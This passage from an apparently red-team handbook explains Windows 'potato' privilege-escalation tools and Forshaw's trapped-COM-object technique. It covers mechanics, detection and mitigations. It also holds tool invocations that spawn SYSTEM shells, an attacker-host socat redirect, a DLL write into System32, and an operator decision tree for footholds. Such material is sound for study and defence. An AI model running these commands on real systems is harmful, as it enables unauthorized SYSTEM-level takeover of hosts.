- Local listener on the hardcoded port 6666 and a byte-relay to TCP 135 on the same host — a service account opening loopback RPC relays is anomalous. Process lineage: a service account (IIS AppPool, MSSQL) spawning `cmd.exe`/payload as SYSTEM is the loudest indicator, shared by every potato.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- The 1809 / Server 2019 rpcss changes (section 6.3) kill the technique outright; minimize service-account privileges so the prerequisite is absent.
|
||||||
|
|
||||||
|
### 7.4 JuicyPotato: arbitrary-CLSID reflection (2018)
|
||||||
|
|
||||||
|
**Since:** ohpe/@Giutro & @decoder_it, August 2018 ([32], [33], [34]) · **Affects:** up to Windows 10 **1803** / Server 2016; broken by the 1809/2019 silent fix · **COM role:** trigger + OXID redirect.
|
||||||
|
|
||||||
|
"RottenPotatoNG on steroids": the same reflection engine, generalized to **arbitrary CLSID** (`-c`), **arbitrary local COM-listen port** (`-l`), **arbitrary payload program** (`-p`), with `-t *` trying both `CreateProcessWithTokenW` and `CreateProcessAsUser`. No Meterpreter dependency.
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. The authors brute-forced and enumerated abusable CLSIDs. A usable CLSID must satisfy three criteria: **(1)** instantiable by the current (service) user, **(2)** implements **`IMarshal`**, **(3)** runs as an elevated account.
|
||||||
|
2. Per-OS CLSID lists were published at `ohpe.it/juicy-potato/CLSID/` — BITS `{4991D34B-80A1-4291-83B6-3328366B9097}`, wuauserv/aucore `{e60687f7-01a1-40aa-86ac-db1cbf673334}`, and others; DiagHub's own CLSID `{42CBFAA7-A4A7-47BB-B422-BD10E9D02700}` appears in the Server 2016 list.
|
||||||
|
3. The chosen CLSID replaces BITS in the RottenPotato trigger; the rest of the chain (Type 2 Reserved-field swap, local SSPI completion, token duplication) is identical.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | `SeImpersonatePrivilege` and/or `SeAssignPrimaryTokenPrivilege` |
|
||||||
|
| OS/build | ≤ Windows 10 1803 / Server 2016, with a valid CLSID for that exact OS from the published lists |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# *(illustrative — typical published invocation)*
|
||||||
|
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c "{4991D34B-80A1-4291-83B6-3328366B9097}"
|
||||||
|
# -l local COM listen port, -p program to run, -t * = try both token APIs, -c CLSID
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- Same lineage indicator as RottenPotato; additionally, activation attempts against unusual service CLSIDs (wuauserv, DiagHub, PrintNotify) from a service-account process are high-fidelity, and repeated DCOM activation failures from one account (wrong-OS CLSID picks) are alertable noise.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- 1809/2019 rpcss hardening (section 6.3). The CLSID-list approach also died because the surviving abusable-CLSID set was hardened so captured tokens become Identification-level, and PrintNotify-style CLSIDs were gated to the INTERACTIVE group.
|
||||||
|
|
||||||
|
### 7.5 RogueWinRM: BITS over HTTP (side quest)
|
||||||
|
|
||||||
|
**Since:** decoder's "From NETWORK SERVICE to SYSTEM" ([19]) + antonioCoco's RogueWinRM ([26]) · **Affects:** client SKUs where WinRM is not listening (the default) · **COM role:** none directly — HTTP — but the BITS trigger is the same service family.
|
||||||
|
|
||||||
|
When BITS starts, it attempts HTTP NTLM authentication to `127.0.0.1:5985` (WinRM). If WinRM is off — the default on client SKUs — an unprivileged user can bind port 5985, trigger BITS, and capture the SYSTEM HTTP NTLM authentication into a local SSPI context, yielding a SYSTEM token. RogueWinRM ships as one of SweetPotato's methods (7.8), and is the minimal demonstration that the *trigger* and the *capture* are independent problems: swap DCOM for HTTP and the same token math applies.
|
||||||
|
|
||||||
|
### 7.6 RoguePotato: fake OXID resolver and token kidnapping (2020)
|
||||||
|
|
||||||
|
**Since:** @decoder_it & @splinter_code, May 2020 ([14], [24]) · **Affects:** Windows 10 **1809+** / Server **2019+** — exactly where JuicyPotato died · **COM role:** trigger + fake OXID resolver (callback surface); the impersonation and token steps are pipes/SSPI.
|
||||||
|
|
||||||
|
The comeback after the 1809 kills. The problem: post-1809, remote OXID queries are forced to port 135 and processed as **ANONYMOUS LOGON**, and the old local-resolver trick is dead. RoguePotato's answer: make the privileged client talk to an *attacker-controlled machine's* port 135, redirect that to a **fake OXID resolver**, and steer the client onto a named pipe where impersonation actually works.
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. **COM trigger (COM):** `CoGetInstanceFromIStorage` with the BITS CLSID `{4991d34b-80a1-4291-83b6-3328366b9097}` (default; `-c` to override) and an `IStorage` whose string bindings point at a **remote attacker IP**.
|
||||||
|
2. **Redirect:** the attacker box runs `socat tcp-listen:135,reuseaddr,fork tcp:<victim>:9999`, forwarding to the fake **RogueOxidResolver** RPC server — which can run on the victim on port 9999, or standalone on an attacker Windows box.
|
||||||
|
3. **Fake OXID resolver (COM):** implements `IObjectExporter` — answers `ServerAlive2` with `RPC_S_OK`, and forges **`ResolveOxid2`** to return a `DUALSTRINGARRAY` with TowerID **`ncacn_np`** and endpoint string **`localhost/pipe/roguepotato[\pipe\epmapper]`**, plus security bindings naming `NT AUTHORITY\NETWORK SERVICE`. (The first attempt, `ncacn_ip_tcp:localhost[9998]` with an `IRemUnknown2` callback and `RpcImpersonateClient()`, yielded only an **Identification** token — error-1346 dead end. Moving to the named-pipe transport was the fix.)
|
||||||
|
4. **Path-validation bug (borrowed from PrintSpoofer, credit @itm4n & @jonasLyk):** the `/` in the hostname is normalized into the pipe path, so rpcss connects to the attacker pipe **`\\.\pipe\roguepotato\pipe\epmapper`** — the protocol forces the `\pipe\epmapper` suffix, but the `/pipe/roguepotato` prefix redirects it.
|
||||||
|
5. **Impersonation (not COM):** `ImpersonateNamedPipeClient()` yields a **NETWORK SERVICE impersonation token** carrying the rpcss logon-session LUID.
|
||||||
|
6. **Token kidnapping:** rpcss/RpcEptMapper runs as NETWORK SERVICE but *shares a logon session with SYSTEM-token-holding threads* (Forshaw's "Sharing a Logon Session a Little Too Much", [6]). Enumerate handles in the rpcss process, duplicate a SYSTEM token, then `CreateProcessAsUser()`/`CreateProcessWithToken()` (with a Session-0 window-station permission fix) → SYSTEM.
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: swimlanes separate what is COM (trigger, `ResolveOxid2` forgery) from what is pipe/SSPI (`ImpersonateNamedPipeClient`, token duplication). Follow the binding string `localhost/pipe/roguepotato[\pipe\epmapper]` — the slash normalization is what lands the SYSTEM-side rpcss on the attacker's pipe.*
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | `SeImpersonatePrivilege` |
|
||||||
|
| OS/build | Windows 10 1809+ / Server 2019+ |
|
||||||
|
| Config | Attacker-controlled machine reachable from the victim on TCP 135 (or a local resolver plus port proxy) |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```text
|
||||||
|
# Attacker box (redirect 135 back to the victim's fake resolver):
|
||||||
|
socat tcp-listen:135,reuseaddr,fork tcp:<victim>:9999
|
||||||
|
# Victim, as the service account *(illustrative — typical published invocation)*:
|
||||||
|
RoguePotato.exe -r <attacker-ip> -e "C:\Windows\System32\cmd.exe" -l 9999
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- Outbound/inbound TCP 135 to a non-domain-controller from a server running a service-account process is the loudest network indicator; `socat` on the attacker side is your own infrastructure.
|
||||||
|
- Local artifacts: the named pipe `\\.\pipe\roguepotato\pipe\epmapper`, handle enumeration inside the rpcss process, and a payload process spawned from a duplicated rpcss token (NETWORK SERVICE context flipping to SYSTEM).
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Block workstation/server egress to untrusted hosts on TCP 135; monitor for unexpected OXID resolution. The token-kidnapping half depends on the shared-logon-session design, not a CVE; least-privilege service accounts reduce impact.
|
||||||
|
|
||||||
|
### 7.7 PrintSpoofer: pipe-name normalization (2020)
|
||||||
|
|
||||||
|
**Since:** itm4n, March 2020 ([12], [13]); coercion primitive from Lee Christensen's SpoolSample ([40]) · **Affects:** Windows 10, Server 2016/2019 (and older with the spooler running) · **COM role:** none — pure RPC coercion plus pipe impersonation; included because it supplies the path-normalization bug RoguePotato reuses.
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. **Coercion (pure RPC):** MS-RPRN **`RpcRemoteFindFirstPrinterChangeNotificationEx`** forces the **Print Spooler (SYSTEM)** to connect back to an attacker-named notification pipe.
|
||||||
|
2. **The bug:** printer-name validation accepts `\\HOSTNAME/pipe/foo`, which is later normalized to **`\\HOSTNAME\pipe\foo\pipe\spoolss`** — redirecting the SYSTEM spooler into the attacker's pipe server `\\.\pipe\foo\pipe\spoolss` even though the real `\pipe\spoolss` endpoint is occupied.
|
||||||
|
3. **Token half:** `CreateNamedPipe` → client connects → `ImpersonateNamedPipeClient()` → `OpenThreadToken` → `DuplicateTokenEx` (to primary) → `CreateProcessWithTokenW` → SYSTEM.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | `SeImpersonatePrivilege` |
|
||||||
|
| OS/build | Windows 10, Server 2016/2019 (older with spooler); Print Spooler service running |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# From a service-account shell: interactive SYSTEM cmd on the console, or any -c command
|
||||||
|
PrintSpoofer.exe -i -c cmd
|
||||||
|
PrintSpoofer.exe -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc <b64>"
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- The SYSTEM spooler process connecting to a non-standard named pipe (`\\.\pipe\*\pipe\spoolss`) is the signature; the pipe name is attacker-chosen, so match the pattern, not the string. Also: service account spawning a child as SYSTEM via `CreateProcessWithTokenW`.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Disable the Print Spooler where printing is not required.
|
||||||
|
|
||||||
|
> **Warning (patch status, MEDIUM confidence):** PrintSpoofer was **unpatched at publication**; later Windows builds hardened spooler behaviors, and PrintNotify-based alternatives exist for hardened or no-spooler hosts. Treat current effectiveness as **build-dependent — verify on the target build** before relying on it.
|
||||||
|
|
||||||
|
### 7.8 SweetPotato: the C# bundle (2020)
|
||||||
|
|
||||||
|
**Since:** @_EthicalChaos_ / CCob, 2020 ([38], [39]); decoder's companion analysis "We thought they were potatoes but they were beans" ([20]) · **Affects:** "Local Service to SYSTEM … from Windows 7 to Windows 10 / Server 2019" · **COM role:** inherited from Rotten/Juicy (DCOM trigger) plus the named-pipe half from PrintSpoofer.
|
||||||
|
|
||||||
|
A single C# toolkit bundling the RottenPotato code base, the weaponized JuicyPotato BITS+WinRM approach (credit @decoder_it/@Guitro), RogueWinRM, and PrintSpoofer; it auto-attempts the correct technique for the target (`-c` CLSID, default BITS `{4991D34B-80A1-4291-83B6-3328366B9097}`; `-m` method). Its operational value is one binary for the whole pre-2020 family, executed in memory through your .NET loader of choice.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "whoami > C:\Windows\Temp\sp.txt" # *(illustrative)*
|
||||||
|
```
|
||||||
|
|
||||||
|
> **Note (MEDIUM confidence):** the exact internal method list varies by release version; confirm `-m` options against the version you actually deploy.
|
||||||
|
|
||||||
|
### 7.9 JuicyPotatoNG: type-9 logon and an SSPI hook (2022)
|
||||||
|
|
||||||
|
**Since:** @decoder_it & @splinter_code, September 2022 ([16], [25]); companion piece "The impersonation game" ([17]) · **Affects:** Windows 10 **1809+ / 11**, Server **2019+ / 2022** · **COM role:** trigger + local callback surface with an SSPI hook.
|
||||||
|
|
||||||
|
The problem solved: post-1809, the surviving abusable CLSIDs require the caller to be **INTERACTIVE**, which service accounts are not. JuicyPotatoNG restores the Juicy workflow on modern builds with two tricks.
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. **Token enrichment:** `LogonUser()` with **logon type 9 (`NewCredentials`)** — LSASS clones the caller's token and **adds the INTERACTIVE SID** (no impersonation privilege is needed for the clone). The enriched token can activate the INTERACTIVE-gated CLSIDs.
|
||||||
|
2. **Trigger:** DCOM activation against the default CLSID **`{854A20FB-2D44-457D-992F-EF13785D2B51}`** — PrintNotify, the "Printer Extensions and Notifications" service, SYSTEM, present on Windows 10/11 and Server 2016/2019/2022 — with the local COM server on port **10247**.
|
||||||
|
3. **Token capture:** an **SSPI hook on `AcceptSecurityContext()`** intercepts the privileged DCOM client's NTLM exchange as it is processed in-process. This avoids `RpcServerUseProtseqEp` (which would hold the port) and, per the authors, relaxes requirements versus `RpcImpersonateClient()`. The approach is conceptually rooted in Forshaw's "Windows Exploitation Tricks: Relaying DCOM Authentication" (October 2021, [5]).
|
||||||
|
4. Verified PoC output: `[+] authresult success {854A20FB-…};NT AUTHORITY\SYSTEM;Impersonation` — an impersonation-level SYSTEM token, duplicated and passed to the usual `CreateProcessWithTokenW`/`CreateProcessAsUser` pair.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | `SeImpersonatePrivilege`; local credentials for the type-9 `LogonUser` clone |
|
||||||
|
| OS/build | Windows 10 1809+ / 11, Server 2019+ / 2022; PrintNotify CLSID present, port 10247 free |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# *(illustrative — typical published invocation; watch for the authresult success line)*
|
||||||
|
JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "whoami > C:\Windows\Temp\ng.txt"
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- `LogonUser` type-9 (`NewCredentials`) events from a service account are unusual and alertable. In-process SSPI hooking means no extra listener service; detection leans on activation of the PrintNotify CLSID by a service account and the standard potato lineage indicator.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- The INTERACTIVE-gating mitigation is what this tool circumvents via LSASS behavior, not a patched bug; Microsoft fixes have targeted individual pieces (CLSID gating, resolver behavior) rather than the pattern — verify per build.
|
||||||
|
|
||||||
|
### 7.10 LocalPotato: NTLM context swapping (2023)
|
||||||
|
|
||||||
|
**Since:** @decoder_it & @splinter_code, February 2023 ([21], [23]); HTTP edition November 2023 ([22]) · **Affects:** builds before the January 2023 patch (**CVE-2023-21746**) for the SMB scenario; HTTP/WebDAV scenario unpatched · **COM role:** trigger only.
|
||||||
|
|
||||||
|
> **Key idea:** LocalPotato is **not a DCOM bug**. COM/DCOM is used only as the trigger; the vulnerability lives in NTLM local authentication inside LSASS (`msv1_0.dll`), and the write primitive is SMB. Mislabeling it as a COM vulnerability will send your variant hunting to the wrong DLL.
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. **Trigger (COM):** `CoGetInstanceFromIStorage` with a SYSTEM-authenticating CLSID — default **`{854A20FB-2D44-457D-992F-EF13785D2B51}` (PrintNotify)**; alternatives **`{90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}`** (ActiveX Installer Service "AxInstSv", Windows 10/11 only) and **`{A9819296-E5B3-4E67-8226-5E72CE9E1FB7}`** (Universal Print Management Service "McpManagementService", Windows 11 + Server 2022). A fake local OXID resolver (JuicyPotatoNG-style SSPI hooks, default port 10271) returns security bindings containing a **crafted SPN `cifs/127.0.0.1`**, so the privileged DCOM client initiates NTLM with `ISC_REQ_UNVERIFIED_TARGET_NAME` and that SPN.
|
||||||
|
2. **The bug (NTLM/LSASS):** in NTLM *local* authentication, Type 2 messages carry a security-context handle referencing an in-memory server context. The attacker runs a rogue client against the **local SMB server (127.0.0.1:445)** in parallel and **swaps the context handles** between the two flows — LSASS binds the privileged (SYSTEM) identity to the *attacker's* SMB session ("Context Swapping").
|
||||||
|
3. **Result:** the attacker's SMB client is authenticated to `\\127.0.0.1\C$` **as SYSTEM** → arbitrary file read/write (the PoC writes raw SMB2 packets per MS-SMB2).
|
||||||
|
4. **Weaponization paths:** write `SprintCSP.dll` to System32 and trigger `SvcRebootToFlashingMode` (StorSvc RPC, via BlackArrowSec's RpcClient, released 2023-02-13); or overwrite `printconfig.dll` and instantiate **PrintNotify** (the authors' Server 2022 demo); or an XPS Print Job / NetMan DLL hijack.
|
||||||
|
5. **Patch:** January 2023 (CVE-2023-21746) changed `SsprHandleChallengeMessage`: if `ISC_REQ_UNVERIFIED_TARGET_NAME` is set and an SPN is present, the SPN is forced to NULL, so SMB anti-reflection denies `cifs/127.0.0.1`. **The HTTP/WebDAV scenario remained unpatched by Microsoft decision** — "LocalPotato HTTP edition" ([22]) — and 0patch covers EOL versions.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | `SeImpersonatePrivilege` (service-account context) |
|
||||||
|
| OS/build | SMB scenario: builds before January 2023 patches; HTTP edition: unpatched at publication. Local SMB server reachable on 127.0.0.1:445; a SYSTEM-authenticating CLSID for the trigger |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# *(illustrative — typical published invocation; writes attacker file to a privileged path)*
|
||||||
|
LocalPotato.exe -i C:\users\public\payload.dll -o C:\Windows\System32\SprintCSP.dll
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- Loopback SMB sessions to `\\127.0.0.1\C$` authenticating as SYSTEM from a service-account context are the signature; the trigger is a DCOM activation of PrintNotify/AxInstSv/McpManagementService by a service account — same indicator family as JuicyPotatoNG.
|
||||||
|
- Weaponization touches well-known System32 binaries (`SprintCSP.dll`, `printconfig.dll`); file-integrity monitoring catches the write.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- January 2023+ patches close the SMB scenario (CVE-2023-21746).
|
||||||
|
|
||||||
|
> **Warning (patch status):** the **HTTP/WebDAV edition was left unpatched by Microsoft decision** as of the November 2023 publication; 0patch covers EOL versions. Verify per target build and month before assuming coverage.
|
||||||
|
|
||||||
|
### 7.11 The rest of the family: classification table
|
||||||
|
|
||||||
|
The family is much larger than the eight tools above. Verified existence and classification (per-author claims; mechanism column is the part that matters for variant hunting):
|
||||||
|
|
||||||
|
| Tool | Author/Year | Mechanism | COM in chain? | Works on |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| **GodPotato** | BeichenDream, Dec 2022 | Novel DCOM trigger; author: "some defects in rpcss when dealing with OXID"; needs only SeImpersonatePrivilege; .NET 2/3.5/4 builds | **Yes (trigger)** — service-DCOM-object activation + impersonation of the DCOM callback | Win8–11, Server 2012–2022 ([44]) |
|
||||||
|
| **DCOMPotato** | zcgonvh | "Some Service DCOM Object and SeImpersonatePrivilege abuse" — variants `PrinterNotifyPotato.exe`, `McpManagementPotato.exe`; attacker-supplied `IUnknown` callback → `CoImpersonateClient()` in its `QueryInterface` impersonates the SYSTEM caller (these objects default to `RPC_C_IMP_LEVEL_IMPERSONATE`) | **Yes (trigger + callback impersonation)** | Win10/11, Server 2012–2022 ([43]) |
|
||||||
|
| **PrintNotifyPotato** | BeichenDream, late 2022 | PrintNotify CLSID + fake `IUnknown`/pointer-moniker callback; works even with legacy Spooler disabled | **Yes** | Win10/11, Server 2012–2022 ([46]) |
|
||||||
|
| **EfsPotato** | zcgonvh, 2021 | MS-EFSR (`EfsRpcOpenFileRaw`/`EfsRpcEncryptFileSrv` PetitPotam-style) coercion of SYSTEM to attacker pipe `\\.\pipe\lsarpc` (alt: efsrpc/samr/lsass/netlogon) + named-pipe impersonation; CVE-2021-36942 patch-bypass notes by @xassiz | **No — pure RPC coercion + pipe impersonation** | Servers 2012–2022 era (pre-EFSR hardening); C# ([41]) |
|
||||||
|
| **SharpEfsPotato** | bugch3ck | EfsRpc + pipe impersonation built from SweetPotato + SharpEfsTrigger | No | similar ([42]) |
|
||||||
|
| **CoercedPotato** | @Hack0ura & @Prepouce (Hackvens), 2023 | Automated multi-coercion: tries MS-RPRN (`RpcRemoteFindFirstPrinterChangeNotification[Ex]`) then MS-EFSR functions (14 variants) against local pipe servers `\\.\pipe\coerced\pipe\spoolss` / `…\srvsvc` + impersonation | **No — pure RPC coercion** | Win10/11, Server 2022 (verified screenshot build 22621) ([47]) |
|
||||||
|
| **PetitPotato** | wh0amitz | Local PetitPotam (EFSRPC) → pipe | No | — ([48]) |
|
||||||
|
| **RasmanPotato** | crisprss | Coerces **RasMan** service (SYSTEM) via its RPC interface → pipe impersonation | No | Win10, Server 2012–2019 ([49]) |
|
||||||
|
| **BadPotato** | BeichenDream | itm4n's PrintSpoofer ported to C# | No | Win8–10, 2012–2019 ([45]) |
|
||||||
|
| **CandyPotato** | klezVirus | Pure C++ weaponized RottenPotatoNG | Yes (Rotten lineage) | Win10/2016 era ([50]) |
|
||||||
|
| **MultiPotato** | S3cur3Th1sSh1t | Multi-trigger combo | mixed | — ([51]) |
|
||||||
|
| **SigmaPotato** | tylerdotrar, 2023–24 | Modernized GodPotato-fork style; `--revshell`, in-memory `[SigmaPotato]::Main()` via .NET reflection | Yes (DCOM lineage) | Win8–11, 2012–2022 ([52]) |
|
||||||
|
| **GenericPotato** | Micah van Deusen, 2021 | Generic SeImpersonation → SYSTEM via modified SSPI/HTTP named-pipe-less approach | partial | — ([54]) |
|
||||||
|
| **GhostPotato** | Shenanigans Labs, Nov 2019 | MS08-068-style SMB relay bypass via NTLM challenge-cache (300 s) with modified impacket | No | unpatched-at-the-time SMB relay ([53]) |
|
||||||
|
| **RemotePotato0** | antonioCoco/SentinelOne, 2021 | Cross-protocol relay RPC→HTTP, "Won't Fix" — **remote** user→DA, not local LPE; boundary case | partial | — ([55]) |
|
||||||
|
| **CertPotato** | SensePost, 2022 | ADCS cert path from virtual/network service accounts | No | — ([56]) |
|
||||||
|
| **LonelyPotato** | decoder, Dec 2017 | RottenPotato standalone (no Meterpreter) | Yes | ≤1803 ([18]) |
|
||||||
|
|
||||||
|
> **Warning:** **No tool called "SharpPotato" exists.** If a runbook, wiki, or teammate references it, the intended tool is almost certainly SweetPotato (the C# bundle), BadPotato (PrintSpoofer's C# port), or SharpEfsPotato. Do not waste engagement time hunting for a phantom repository.
|
||||||
|
>
|
||||||
|
> Boundary cases: **RemotePotato0** ([55]) is a *remote* cross-protocol relay (RPC→HTTP, rated "Won't Fix", remote user→DA), not a local LPE — file it, and IBM X-Force's DCOM NTLM coercion work RemoteMonologue ([62]), under lateral movement rather than this chapter. For a narrated history of the whole family, see Antonio Cocomazzi's "10 Years of Windows Privilege Escalation with Potatoes" slides (POC2023/Troopers24, [27]).
|
||||||
|
|
||||||
|
### 7.12 Potato decision tree
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: time runs left to right; each potato is color-coded by its mechanism (COM trigger, RPC coercion, NTLM/LSASS). The vertical markers are the hardening events of section 6.3 — notice every new tool appears immediately after a mitigation row.*
|
||||||
|
|
||||||
|
Text form of the decision tree — run this on every foothold:
|
||||||
|
1. `whoami /priv` → is `SeImpersonatePrivilege` or `SeAssignPrimaryTokenPrivilege` present? (No → not a potato target; look at sections 4, 8, 9 instead.)
|
||||||
|
2. OS ≤ Win10 1803 / Server 2016 → **RottenPotatoNG / JuicyPotato** (BITS or a list CLSID for the exact OS).
|
||||||
|
3. OS ≥ Win10 1809 / Server 2019 → can the victim reach your box on TCP 135 (or can you run a local resolver plus port-proxy)? → **RoguePotato**. Else → interactive-capable or service account? → **JuicyPotatoNG** (LogonUser type-9 trick) or **GodPotato / DCOMPotato / PrintNotifyPotato** (service DCOM callbacks).
|
||||||
|
4. Spooler up, Win10/2016–2019 → **PrintSpoofer** (C#: **BadPotato**). Spooler down or hardened → **EfsPotato / CoercedPotato** coercion alternatives.
|
||||||
|
5. Need a file-write primitive on builds ≤ January 2023 → **LocalPotato** (+ StorSvc/PrintNotify weaponization); patched → **LocalPotato HTTP/WebDAV edition**.
|
||||||
|
6. .NET 4 present and OpSec matters → **SweetPotato / GodPotato (.NET 4 build) / SigmaPotato** for in-memory execution.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Trapped COM objects (Forshaw, January 2025)
|
||||||
|
|
||||||
|
**Since:** James Forshaw, Project Zero, January 30 2025 — "Windows Bug Class: Accessing Trapped COM Objects with IDispatch" ([4]) · **Affects:** current Windows 10/11 including 24H2 (with caveats below); Microsoft does not treat PPL as a security boundary, so fixes ship late and in new Windows versions.
|
||||||
|
|
||||||
|
### 8.1 The bug class
|
||||||
|
|
||||||
|
> **Beginner note:** Object-oriented remoting (DCOM, .NET Remoting) marshals returned objects **by reference** by default: the object itself stays — is "trapped" — inside the server process, and the client receives a remote pointer. Every method call the client makes then executes *in the server's security context*. If the object was never designed to be exposed across the trust boundary, the client is driving privileged code.
|
||||||
|
|
||||||
|
> **Beginner note:** **PPL** (Protected Process Light) is Windows' process-protection model: a PPL process can only be opened and injected into by processes signed at an equal or higher protection level (e.g. `PsProtectedSignerWindows-Light`). LSASS and modern AV/EDR processes run protected, so unsigned code inside a PPL process is a significant offensive prize.
|
||||||
|
|
||||||
|
Three introduction scenarios produce trapped objects:
|
||||||
|
|
||||||
|
1. **Unsafe object shared inadvertently — CVE-2019-0555.** WinRT needed an XML document; developers bolted runtime interfaces onto the XML DOM Document v6 COM object assuming no XSLT. A malicious client `QueryInterface`s the legacy `IXMLDOMDocument`, regains XSLT script execution → sandbox escape.
|
||||||
|
2. **Asynchronous marshaling primitive.** .NET classes that are both serializable and `MarshalByRefObject` (e.g. `FileInfo`/`DirectoryInfo`): send a serialized copy to the server, then read it back — the read is marshaled **by reference**, yielding a trapped live object with which to create files as the server. Implemented in Forshaw's `ExploitRemotingService` tool.
|
||||||
|
3. **Abusing the platform's object-instantiation plumbing — CVE-2017-0211.** Coerce a path to `CoCreateInstance` with an attacker CLSID and get the object back: Structured Storage exposed across the boundary; `IPropertyBag` → create an arbitrary COM object in the server → XML DOM → XSLT EoP.
|
||||||
|
|
||||||
|
### 8.2 The IDispatch / ITypeInfo vector (the new part)
|
||||||
|
|
||||||
|
Any OOP server exposing **`IDispatch`** must vend type information: the client calls `IDispatch::GetTypeInfo` → **`ITypeInfo`**, which is itself marshaled by reference — trapped in the server. `ITypeInfo::Invoke` is *not* remotable, but **`ITypeInfo::CreateInstance` IS** — and it calls `CoCreateInstance` **inside the server process**. The type info must describe a **CoClass** (it carries a CLSID); reach candidate classes via `ITypeInfo::GetContainingTypeLib` → `ITypeLib` → enumerate classes, including **referenced type libraries** (`stdole` is virtually always referenced).
|
||||||
|
|
||||||
|
Worked example from the post, using the OleViewDotNet PowerShell module ([4], [8]):
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
Get-ComClass -Service # service-hosted COM classes
|
||||||
|
# → enumerate interfaces, filter IsDispatch → 5 candidates on a default box:
|
||||||
|
# WaaSRemediation {72566E27-1ABB-4EB3-B4F0-EB431CB1CB32}
|
||||||
|
# SearchGatheringManager {9E175B68-F52A-11D8-B9A5-505054503030}
|
||||||
|
# SearchGathererNotification {9E175B6D-…}
|
||||||
|
# AutomaticUpdates {BFE18E9C-6D87-4450-B37C-E02F0B373803}
|
||||||
|
# Microsoft.SyncShare.SyncShareFactoryClass {DA1C0281-456B-4F14-A46D-8ED2E21A866F}
|
||||||
|
$o = New-ComObject -Clsid 72566e27-1abb-4eb3-b4f0-eb431cb1cb32
|
||||||
|
$lib = Import-ComTypeLib -Object $o
|
||||||
|
Get-ComObjRef $o # proves OOP hosting: shows svchost.exe
|
||||||
|
$lib.Parse(); $lib.ReferencedTypeLibs # → stdole 2.0 {00020430-0000-0000-C000-000000000046}
|
||||||
|
# stdole classes: StdFont {0BE35203-8F91-11CE-9DE3-00AA004BB851}, StdPicture {0BE35204-…}
|
||||||
|
```
|
||||||
|
|
||||||
|
Both stdole classes are registered **InProcServer32 only (`oleaut32.dll`)**, so instantiating one *through the remote type library* plants it inside the service. Navigation: `GetRefTypeOfImplType(0)` → `GetRefTypeInfo` → `GetContainingTypeLib` → `GetTypeInfoOfGuid(<StdFont CLSID>)` → `CreateInstance()` → `Get-ComObjRef` proves the new object lives in the service process. (StdPicture has an OOP check; StdFont does not. Forshaw found no direct EoP in the font object itself — it is a stepping stone.)
|
||||||
|
|
||||||
|
**Type-library/proxy substitution → type confusion.** The stub for a remoted interface is *generated from the type library*; control the TLB (registration swap, or referencing an OOP TLB) and you control the server-side stub's view of the types — classic type confusion (Forshaw's earlier NGEN-COM attack overwrote the KnownDlls handle this way). Microsoft's countermeasure now lives in `oleaut32.dll`: **`VerifyTrust`** — when loading a TLB inside a protected process it requires a cached signing level **≥ 12 (Windows)** via `NtGetCachedSigningLevel`/`NtSetCachedSigningLevel`; raw (non-PE) TLBs fail with `STATUS_INVALID_IMAGE_FORMAT`. The same hardening blocks ROT-based OOP type-library references.
|
||||||
|
|
||||||
|
### 8.3 The PPL injection chain (flagship PoC)
|
||||||
|
|
||||||
|
